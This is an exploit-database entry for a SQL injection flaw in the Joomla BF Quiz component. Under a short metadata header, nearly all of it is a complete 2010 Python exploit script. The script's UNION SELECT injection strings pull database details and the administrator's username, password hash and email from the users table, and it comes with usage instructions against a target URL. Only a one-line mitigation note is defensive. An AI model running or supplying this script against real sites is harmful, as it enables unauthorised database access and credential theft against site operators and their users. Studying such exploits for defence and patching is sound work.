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Suggest Exploit
vendor:
Joomla Component BF Quiz
by:
Valentin Hoebel
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Joomla Component BF Quiz
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2010

Joomla Component BF Quiz SQL Injection Exploit

This tool exploits the SQL injection vulnerability discovered within the Joomla component BF Quiz. It tries to give you the admin password hash.

Mitigation:

Ensure that user-supplied input is validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

#!/usr/bin/python

# Joomla Component BF Quiz SQL Injection Exploit
# by Valentin Hoebel (valentin@xenuser.org)
# Version 1.0 (29th May 2010)
# ASCII FOR BREAKFAST

# About the vulnerability:
# ----------------------------------------------------------------------------
# Read more here:
# http://xenuser.org/documents/security/joomla_com_bfquiz_sqli.txt

# About the exploit:
# ----------------------------------------------------------------------------
# Tries to give you the admin password hash!

# Usage example:
# python joomla_com_bfquiz_sploit.py - u "http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34"

# This tool war written for educational purposes only. I am not responsible for any damage
# you might cause using this tool. Know and respect your local laws!
# Only use this tool on websites you are allowed to test :)

# Greetz && THX
# ----------------------------------------------------------------------------------
# Greetz: cr4wl3r and /JosS
# Greetz && THX to: inj3ct0r, Exploit DB team, hack0wn and packetstormsecurity.org

# Power to the cows!

import sys,  re,  urllib,  urllib2,  string
from urllib2 import Request, urlopen, URLError, HTTPError

# Prints usage
def print_usage():
    print ""
    print ""
    print "________________________________________________"
    print "Joomla Component BF Quiz SQL Injection Exploit"
    print "by Valentin Hoebel (valentin@xenuser.org)"
    print ""
    print "            (__)        " 
    print "            (oo)     Version 1.0 (29th May 2010)  "      
    print "     /-------\/         "       
    print "    / |     ||           "         
    print "   *  ||----||           "            
    print "      ~~    ~~       Power to teh cows!" 
    print "________________________________________________"
    print ""
    print "Exploits the SQL injection vulnerability I"
    print "discovered within the Joomla component BF Quiz."
    print ""
    print "Usage example:"
    print "python joomla_com_bfquiz_sploit.py - u \"http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34\""
    print ""
    print "Options:"
    print " -u <URL>   (start the exploit)"
    print " --help     (displays this text)"
    print ""
    print "Features:"
    print " - Check if provided URL is reachable"
    print " - Display current database, MySQL user and the MySQL version"
    print " - Display the password hash of the Joomla administrator"
    print ""
    print ""
    return

#Prints banner
def print_banner():
    print ""
    print ""
    print "________________________________________________"
    print "Joomla Component BF Quiz SQL Injection Exploit"
    print "by Valentin Hoebel (valentin@xenuser.org)"
    print ""
    print "            (__)        " 
    print "            (oo)     Version 1.0 (29th May 2010)  "      
    print "     /-------\/         "       
    print "    / |     ||           "         
    print "   *  ||----||           "            
    print "      ~~    ~~       Power to teh cows!" 
    print "________________________________________________"
    return

# Testing if URL is reachable, with error handling
def test_url():
    print "[.] Checking if connection can be established..."
    try:
        response = urllib2.urlopen(provided_url)
        
    except HTTPError,  e:
        print "[!] The connection could not be established."
        print "[!] Error code: ",  e.code
        print "[!]Exiting now!"
        print ""
        sys.exit(1)
    except URLError,  e:
        print "[!] The connection could not be established."
        print "[!] Reason: ",  e.reason
        print "[!] Exiting now!"
        print ""
        sys.exit(1)
    else:
        valid_target = 1
        print "[.] Connected to target! URL seems to be valid."
    return
    
def exploit_url():
    # Define injection string for reading out basic information
    information_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),97,98,99,100--"
    admin_pass_hash_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),97,98,99,100+from+jos_users+LIMIT+0,1--"
    
    # Craft the URLs which are about to be exploited
    exploit_url_information = provided_url+information_injection_string
    exploit_url_admin_pass_hash = provided_url+admin_pass_hash_injection_string
    
    # Read out some interesting stuff
    print "[.] Reading out some interesting information..."
    response = urllib2.urlopen(exploit_url_information)
    html = response.read()
    
    # Now extract the interesting information
    get_secret_data = string.find(html,  "P0w3r t0 t3h c0ws!")
    
    # If  the target is not vulnerable exit
    if get_secret_data == -1:
        print "[!] Exploitation failed. Maybe the target isn't vulnerable?"
        print "[!] Hint: The exploit doesn't work on every target by default."
        print "[!] If you have knowledge about MySQL injection simply have a look at the source code and change the injection strings."
        print "[!] For me it worked on 3/10 targets by default."
        print "[!] Exiting now!"
        print ""
        sys.exit(1)
        
    get_secret_data += 18
    new_html4= html[get_secret_data :]
    new_get_secret_data4 = string.find(new_html4,  "P0w3r t0 t3h c0ws!")
    new_html_5 = new_html4[:new_get_secret_data4]
            
    # Data was received, now format and display it
    formatted_output = str.split(new_html_5,  ";")
    print "[+] MySQL Database User: ",  formatted_output[1:2]
    print "[+] MySQL Database: ",  formatted_output[2:3]
    print "[+] MySQL Version: ",  formatted_output[3:4]

    # Now let's get the admin password hash!
    print "[.] Getting the admin password hash..."
    response = urllib2.urlopen(exploit_url_admin_pass_hash)
    html = response.read()
    get_secret_data = string.find(html,  "P0w3r t0 t3h c0ws!")
    get_secret_data += 18
    new_html = html[get_secret_data :]
    new_get_secret_data = string.find(new_html,  "P0w3r t0 t3h c0ws!")
    new_html_2 = new_html[:new_get_secret_data]

    # Data was received, now format and display it
    formatted_output = str.split(new_html_2,  ";")
    print "[+] ID: ",  formatted_output[1:2]
    print "[+] Name: ",  formatted_output[2:3]
    print "[+] Username: ",  formatted_output[3:4]
    print "[+] Password Hash: ",  formatted_output[4:5]
    print "[+] E-Mail Address: ",  formatted_output[5:6]
    print "[+] User status: ",  formatted_output[6:7]
    print "[.] That's it! Bye!"
    print ""
    sys.exit(1)
    return

# Checking if argument was provided
if len(sys.argv) <=1:
    print_usage()
    sys.exit(1)
    
for arg in sys.argv:
    # Checking if help was called
    if arg == "--help":
        print_usage()
        sys.exit(1)
    
    # Checking if  URL was provided, if yes -> go!
    if arg == "-u":
        provided_url = sys.argv[2]
        print_banner()
        
        # At first we test if we can actually reach the provided URL
        test_url()
        
        # Now start the main exploit function
        exploit_url()
    
### EOF ###